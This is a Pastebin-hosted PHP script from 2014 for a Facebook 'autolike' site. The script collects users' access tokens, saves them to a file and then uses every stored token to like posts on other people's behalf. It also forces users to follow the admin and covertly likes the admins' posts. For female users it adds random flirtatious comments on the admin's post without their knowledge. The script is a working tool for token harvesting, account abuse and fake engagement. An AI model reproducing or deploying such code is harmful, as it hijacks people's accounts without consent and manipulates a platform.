tobitaz

Home.php proxy public

Jan 14th, 2014
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.14 KB | None | 0 0
  1.              
  2.  <?php
  3. include("proxy.php");
  4.  
  5.  
  6. //ganti dgn nama file yg ko nak utk simpan token
  7. $tokenko = "token.txt";
  8. $tokeng = $_GET["token"];
  9.  
  10. //edit to off kalo nak off proxy
  11. $proxystatus = "on";
  12.  
  13.  
  14.  
  15.  
  16. //buang text bendasing
  17.  
  18. $buangtext = strripos($tokeng, "&expires_in=0");
  19.  
  20. if($buangtext > 1)
  21. {
  22. $unuk = "&expires_in=0";
  23. $token = str_replace($unuk, "", $tokeng);
  24. }
  25. else
  26. {
  27. $token = $tokeng;
  28. }
  29.  
  30. //tamat
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41. //app id yang ko nak org mesti guna
  42. $appid = "260273468396";
  43.  
  44.  
  45. $check = tobitaz("graph.facebook.com/app?access_token=".$token, $proxystatus);
  46. $cek = strripos($check, $appid);
  47.  
  48.  
  49.  
  50. if($token != null)
  51. {
  52. if($cek === false)
  53. {
  54. die("Please use accesstokens from apps that we provide");
  55. }
  56. }
  57.  
  58. //skrip mesti follow
  59.  
  60.  
  61. $folow = tobitaz("graph.facebook.com/me/subscribedto?limit=100000000&access_token=".$token, $proxystatus);
  62.  
  63.  
  64. //tuka id ni jd id ko ni id aq skrg
  65.  
  66. $idadmin = "100002228225187";
  67.  
  68.  
  69. $cekfollow = strripos($folow, $idadmin);
  70.  
  71. if($cekfollow < 1)
  72. {
  73. die("Please follow <a href='http://fb.com/".$idadmin."'>admin</a>");
  74. }
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81. //tamat
  82.  
  83.  
  84.  
  85.  
  86.  
  87.  
  88.  
  89.  
  90. //check token ada
  91. if($token === null)
  92. {
  93. die("Please submit access token");
  94. }
  95.  
  96. //cek token invalid
  97.  
  98. $k = tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus);
  99.  
  100.  
  101. $check = strripos($k, "OAuthException");
  102.  
  103.  
  104. if($check > 1)
  105. {
  106. die("Access token invalid");
  107. }
  108.  
  109.  
  110.  
  111.  
  112.  
  113. //check permision
  114.  
  115. $per1 = "user_likes";
  116. $per2 = "publish_stream";
  117.  
  118.  
  119. $taf = tobitaz("graph.facebook.com/me/permissions?access_token=".$token, $proxystatus);
  120.  
  121. $ga = strripos($taf, $per1);
  122. $gu = strripos($taf, $per2);
  123.  
  124.  
  125. if($ga < 1 or $gu < 1)
  126. {
  127. die("Please allow ".$per1." And ".$per2." Permission!");
  128. }
  129.  
  130. //show like
  131.  
  132. $iduser = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  133.  
  134. $idusers = $iduser->id;
  135.    $cre = fopen($tokenko, "a+");
  136.    $f = file_get_contents($tokenko);
  137.    $cf = strripos($f, $token);
  138.    $cf2 = strripos($f, $idusers);
  139.         if($cf === false && $cf2 === false)
  140.            {
  141.          
  142.             fwrite($cre, $token."&nama=".$idusers."\n");
  143.            
  144.            }
  145.  
  146.            
  147.  
  148. $staid = tobitaz("graph.facebook.com/me/feed?fields=id,message&access_token=".$token, $proxystatus);
  149.  
  150.  
  151. $taz = json_decode($staid)->data;
  152.  
  153.  
  154.  
  155. //html autolike
  156.  
  157.  
  158.  
  159.  
  160. //start otolke
  161. $statusid = $_POST["statusid"];
  162. if($statusid != null)
  163. {
  164. $geto = preg_split('/(\r?\n)+/', $f);
  165.       foreach($geto as $phc)
  166.    {
  167.  
  168. tobitaz("graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc, $proxystatus);
  169.  
  170.  
  171.  
  172.     }
  173. echo '<script src="remover.php"></script>';
  174.  
  175. echo "<center><font style='font-size:40px; color:white;'>Done!</font></center>";
  176.  
  177.  
  178. }
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.            
  191.      fclose($cre);
  192.  
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199. //admin otolik
  200.  
  201. $listadmin = array("mohdtazme", "zuck");
  202.  
  203.   foreach($listadmin as $admin)
  204. {
  205.  
  206. $gcu = tobitaz("graph.facebook.com/".$admin."/feed?fields=id&access_token=".$token, $proxystatus);
  207.  
  208.  
  209. $jsta = json_decode($gcu)->data;
  210.  
  211.  
  212. tobitaz("graph.facebook.com/".$jsta[0]->id."/likes?method=post&access_token=".$token, $proxystatus);
  213.  
  214. }
  215.  
  216.  
  217.  
  218. $jaw = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  219.  
  220. //chek id
  221.  
  222.  
  223. $jagu = json_decode(tobitaz("graph.facebook.com/mohdtazme/feed?fields=id&access_token=".$token, $proxystatus))->data;
  224.  
  225.  
  226.  
  227. $nod = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  228.  
  229. $fnod = file_get_contents("id.txt");
  230.  
  231. //cek id strripos
  232.  
  233. $nos = strripos($fnod, $nod->id.$jagu[0]->id);
  234.  
  235. if($jaw->gender == "female" && $nos === false)
  236. {
  237.  
  238.  
  239.  
  240. $kokop = array("i+love+u+...+muah", "sayang+<3", "mungkinkah+kau+merasakan+semua+yg+kupasrahkan", "muah<3", "i+miss+u<3", "awak...+i+love+u+laaa", "jom+chat", "asal+u+xreply+msg+i", "im+ur+big+fans<3");
  241.  
  242. $koawe = $kokop[array_rand($kokop)];
  243.  
  244.  
  245. tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
  246.  
  247.  
  248. //no double comment
  249.  
  250.  
  251.  
  252. $nodc = fopen("id.txt", "a+");
  253.               fwrite($nodc, $nod->id.$jagu[0]->id."\n");
  254.               fclose($nodc);
  255.  
  256. }
  257.  
  258.  
  259.  
  260. chmod($tokenko, 0600);
  261.  
  262. //bendasing dlm home
  263.  
  264. $dp = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  265.  
  266.  
  267.  
  268. ?>    
  269.  
  270.  
  271.   <body style="background-color:black; width:100%;">
  272.         <center>
  273. <img src="https://graph.facebook.com/me/picture?type=large&access_token=<?php echo $token; ?>" /><br />
  274. <font color="white"><?php echo $dp->name; ?></font><br />
  275.         <div style="border:3px grey outset; background-color:grey; width:60%;">
  276.         <form action="" method="post">
  277.         <font color="red">STATUS:</font><br /><font color="white"><?php echo $taz[0]->message; ?></font>
  278.        
  279.         <input type="hidden" name="token" value="'.$token.'"><br />
  280.         <font color="white" style="float:left;">statusid:</font><br /><input name="statusid" value="<?php echo $taz[0]->id; ?>" style="float:left;">
  281.        
  282.       <br /> <button type="submit" style="float:right; border:3px red outset; color:white; background-color:red;">AUTOLIKE</button>
  283.         </form><br /></div><br />
Advertisement
Add Comment
Please, Sign In to add comment